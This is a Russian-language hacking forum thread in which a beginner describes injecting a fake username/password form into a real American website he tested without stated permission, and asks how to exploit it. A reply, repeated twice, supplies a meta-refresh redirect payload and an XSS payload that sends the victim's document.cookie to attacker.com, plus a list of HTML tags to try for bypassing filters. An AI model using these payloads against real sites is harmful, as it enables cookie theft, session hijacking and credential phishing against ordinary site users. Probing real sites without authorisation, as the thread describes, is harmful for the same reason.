• XSS.stack #1 – первый литературный журнал от юзеров форума

HTML injects | Как можно эксплуатировать?

obalabama

RAID-массив
Пользователь
Регистрация
25.05.2021
Сообщения
71
Реакции
21
Приветствую всех, недавно начал ознакомление с web-пентестингом, посмотрел пару видео в ютубе, узнал про существование Payloads для выявления уязвимостей. Ради интереса решил проверить на нескольких американских сайтах. На 3 из 4 подопытных не сработало, но на четвертом дало создать кнопку, потом закинул payload с формой авторизации

<form method="GET">Username: <input type="text" name="username" value="" /> <br />Password: <input type="password" name="passwd" value="" /> <br /><input type="submit" name="submit" value="login" /></form>

Создалась форма авторизации.
Задался вопросом, как эксплуатируют подобные уязвимости?
В голову особо ничего не пришло кроме кражи логина и пароля, разместив форму авторизации на оригинальном сайте.

Вопрос: Если пропустило паблик пэйлоад с гитхаба, то можно и свой скрипт туда засунуть? Или не факт что он прогрузится?

P.S. От программирования я далек, никогда не стремился изучать это направление, по этому не судите строго, если для кого-то вопросы покажутся глупыми. Буду рад пообщаться с людьми работающими по этому направлению. Я последние года работал с банками USA, если у кого-то будут какие-то вопросы, можете обращаться.
 
прошу пожалуйста не закидывать меня помидорами

на самом деле в HTML иньекциях можно очень много придумать от данального редиректа до воровства куков

ПРИМЕР редиректа: "><meta http-equiv="refresh" content="0; url=http://youtube.com "/>

воровство куков ПРИМЕР: "><img src=x onerror=fetch('http://attacker.com/steal-cookie?cookie=' + document.cookie)>

ответ на вопрос: "Если пропустило паблик пэйлоад с гитхаба, то можно и свой скрипт туда засунуть? Или не факт что он прогрузится?"

ну тут опять же надо смотреть от цели может пропустит а может нет по идеи своей если какие то payload не отробатывют то можно попробовать перебрать html теги/заголовки

пример для перебора состовлял не я а chatgpt: ЭТО ТОЛЬКО ПРИМЕР!!!

после перебора надо отсеять что работает а что нет
1. `<a>` — ссылка
2. `<abbr>` — сокращение
3. `<address>` — контактная информация
4. `<area>` — область карты изображения
5. `<article>` — статья
6. `<aside>` — боковая панель
7. `<audio>` — аудио
8. `<b>` — жирный текст
9. `<base>` — базовый URL
10. `<bdi>` — изолированный текст
11. `<bdo>` — направление текста
12. `<blockquote>` — цитата
13. `<body>` — тело документа
14. `<br>` — перенос строки
15. `<button>` — кнопка
16. `<canvas>` — область для рисования
17. `<caption>` — заголовок таблицы
18. `<cite>` — ссылка на источник
19. `<code>` — код
20. `<col>` — столбец таблицы
21. `<colgroup>` — группа столбцов
22. `<data>` — привязка данных
23. `<datalist>` — список параметров
24. `<dd>` — описание элемента списка
25. `<del>` — удалённый текст
26. `<details>` — раскрывающаяся информация
27. `<dfn>` — определение
28. `<dialog>` — диалоговое окно
29. `<div>` — блок
30. `<dl>` — определенный список
31. `<dt>` — термин списка
32. `<em>` — акцент на тексте
33. `<embed>` — встраивание внешнего контента
34. `<fieldset>` — группа полей формы
35. `<figcaption>` — подпись к изображению
36. `<figure>` — фигура с изображением
37. `<footer>` — нижний колонтитул
38. `<form>` — форма
39. `<h1>` — заголовок первого уровня
40. `<h2>` — заголовок второго уровня
41. `<h3>` — заголовок третьего уровня
42. `<h4>` — заголовок четвертого уровня
43. `<h5>` — заголовок пятого уровня
44. `<h6>` — заголовок шестого уровня
45. `<head>` — заголовок документа
46. `<header>` — верхний колонтитул
47. `<hgroup>` — группа заголовков
48. `<hr>` — горизонтальная линия
49. `<html>` — корневой элемент HTML
50. `<i>` — курсивный текст
51. `<iframe>` — встроенный фрейм
52. `<img>` — изображение
53. `<input>` — поле ввода
54. `<ins>` — вставленный текст
55. `<kbd>` — текст клавиатуры
56. `<label>` — подпись к элементу формы
57. `<legend>` — заголовок группы полей
58. `<li>` — элемент списка
59. `<link>` — ссылка на внешние ресурсы
60. `<main>` — основное содержимое
61. `<map>` — карта изображения
62. `<mark>` — выделенный текст
63. `<meta>` — метаинформация
64. `<meter>` — индикатор диапазона
65. `<nav>` — навигация
66. `<noscript>` — для пользователей без поддержки JavaScript
67. `<object>` — встроенный объект
68. `<ol>` — упорядоченный список
69. `<optgroup>` — группа опций
70. `<option>` — элемент выпадающего списка
71. `<output>` — вывод данных
72. `<p>` — абзац
73. `<param>` — параметры для встроенного объекта
74. `<picture>` — контейнер для изображений
75. `<pre>` — предварительно форматированный текст
76. `<progress>` — индикатор прогресса
77. `<q>` — встроенная цитата
78. `<rp>` — закрывающий текст для ruby
79. `<rt>` — текст ruby
80. `<ruby>` — аннотация для текста
81. `<s>` — зачеркнутый текст
82. `<samp>` — вывод программ
83. `<script>` — скрипт JavaScript
84. `<section>` — раздел
85. `<select>` — выпадающий список
86. `<small>` — мелкий текст
87. `<source>` — источник мультимедиа
88. `<span>` — строчный элемент
89. `<strong>` — важный текст
90. `<style>` — стиль
91. `<sub>` — подстрочный текст
92. `<summary>` — заголовок раскрывающейся информации
93. `<sup>` — надстрочный текст
94. `<table>` — таблица
95. `<tbody>` — тело таблицы
96. `<td>` — ячейка таблицы
97. `<template>` — шаблон контента
98. `<textarea>` — текстовое поле
99. `<tfoot>` — подвал таблицы
100. `<th>` — заголовочная ячейка таблицы

и ещё совет прочти что такое CSP: (https://aszx87410.github.io/beyond-...tic-defense-mechanism-content-security-policy)
так же можешь почитать вот данную статью лично мне очень зашла: (https://xss.pro/threads/103323/)
доп чтиво: (https://medium.com/@bughunt789/brea...tion-to-xss-lead-to-steal-cookie-47ef31815acb)
 
прошу пожалуйста не закидывать меня помидорами

на самом деле в HTML иньекциях можно очень много придумать от данального редиректа до воровства куков

ПРИМЕР редиректа: "><meta http-equiv="refresh" content="0; url=http://youtube.com "/>

воровство куков ПРИМЕР: "><img src=x onerror=fetch('http://attacker.com/steal-cookie?cookie=' + document.cookie)>

ответ на вопрос: "Если пропустило паблик пэйлоад с гитхаба, то можно и свой скрипт туда засунуть? Или не факт что он прогрузится?"

ну тут опять же надо смотреть от цели может пропустит а может нет по идеи своей если какие то payload не отробатывют то можно попробовать перебрать html теги/заголовки

пример для перебора состовлял не я а chatgpt: ЭТО ТОЛЬКО ПРИМЕР!!!

после перебора надо отсеять что работает а что нет
1. `<a>` — ссылка
2. `<abbr>` — сокращение
3. `<address>` — контактная информация
4. `<area>` — область карты изображения
5. `<article>` — статья
6. `<aside>` — боковая панель
7. `<audio>` — аудио
8. `<b>` — жирный текст
9. `<base>` — базовый URL
10. `<bdi>` — изолированный текст
11. `<bdo>` — направление текста
12. `<blockquote>` — цитата
13. `<body>` — тело документа
14. `<br>` — перенос строки
15. `<button>` — кнопка
16. `<canvas>` — область для рисования
17. `<caption>` — заголовок таблицы
18. `<cite>` — ссылка на источник
19. `<code>` — код
20. `<col>` — столбец таблицы
21. `<colgroup>` — группа столбцов
22. `<data>` — привязка данных
23. `<datalist>` — список параметров
24. `<dd>` — описание элемента списка
25. `<del>` — удалённый текст
26. `<details>` — раскрывающаяся информация
27. `<dfn>` — определение
28. `<dialog>` — диалоговое окно
29. `<div>` — блок
30. `<dl>` — определенный список
31. `<dt>` — термин списка
32. `<em>` — акцент на тексте
33. `<embed>` — встраивание внешнего контента
34. `<fieldset>` — группа полей формы
35. `<figcaption>` — подпись к изображению
36. `<figure>` — фигура с изображением
37. `<footer>` — нижний колонтитул
38. `<form>` — форма
39. `<h1>` — заголовок первого уровня
40. `<h2>` — заголовок второго уровня
41. `<h3>` — заголовок третьего уровня
42. `<h4>` — заголовок четвертого уровня
43. `<h5>` — заголовок пятого уровня
44. `<h6>` — заголовок шестого уровня
45. `<head>` — заголовок документа
46. `<header>` — верхний колонтитул
47. `<hgroup>` — группа заголовков
48. `<hr>` — горизонтальная линия
49. `<html>` — корневой элемент HTML
50. `<i>` — курсивный текст
51. `<iframe>` — встроенный фрейм
52. `<img>` — изображение
53. `<input>` — поле ввода
54. `<ins>` — вставленный текст
55. `<kbd>` — текст клавиатуры
56. `<label>` — подпись к элементу формы
57. `<legend>` — заголовок группы полей
58. `<li>` — элемент списка
59. `<link>` — ссылка на внешние ресурсы
60. `<main>` — основное содержимое
61. `<map>` — карта изображения
62. `<mark>` — выделенный текст
63. `<meta>` — метаинформация
64. `<meter>` — индикатор диапазона
65. `<nav>` — навигация
66. `<noscript>` — для пользователей без поддержки JavaScript
67. `<object>` — встроенный объект
68. `<ol>` — упорядоченный список
69. `<optgroup>` — группа опций
70. `<option>` — элемент выпадающего списка
71. `<output>` — вывод данных
72. `<p>` — абзац
73. `<param>` — параметры для встроенного объекта
74. `<picture>` — контейнер для изображений
75. `<pre>` — предварительно форматированный текст
76. `<progress>` — индикатор прогресса
77. `<q>` — встроенная цитата
78. `<rp>` — закрывающий текст для ruby
79. `<rt>` — текст ruby
80. `<ruby>` — аннотация для текста
81. `<s>` — зачеркнутый текст
82. `<samp>` — вывод программ
83. `<script>` — скрипт JavaScript
84. `<section>` — раздел
85. `<select>` — выпадающий список
86. `<small>` — мелкий текст
87. `<source>` — источник мультимедиа
88. `<span>` — строчный элемент
89. `<strong>` — важный текст
90. `<style>` — стиль
91. `<sub>` — подстрочный текст
92. `<summary>` — заголовок раскрывающейся информации
93. `<sup>` — надстрочный текст
94. `<table>` — таблица
95. `<tbody>` — тело таблицы
96. `<td>` — ячейка таблицы
97. `<template>` — шаблон контента
98. `<textarea>` — текстовое поле
99. `<tfoot>` — подвал таблицы
100. `<th>` — заголовочная ячейка таблицы

и ещё совет прочти что такое CSP: (https://aszx87410.github.io/beyond-...tic-defense-mechanism-content-security-policy)
так же можешь почитать вот данную статью лично мне очень зашла: (https://xss.pro/threads/103323/)
доп чтиво: (https://medium.com/@bughunt789/brea...tion-to-xss-lead-to-steal-cookie-47ef31815acb)
Благодарю, за инфу. Интересное направление веб пентест. Вчера еще Burp suit начал осваивать, но пока единственный сайт который я смог "взломать :D" , это сайт из уроков от разработчиков софта.

Бро, и такой вопрос, чтобы мы могли изменить код который сайт посылает серверу, на сайте должна быть XSS уязвимость, или я заблуждаюсь?
И если уязвимости нет, то сервер не примет измененный код? Сорри, если это тупой вопрос, я пока полнейший ламер в этой сфере деятельности.
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх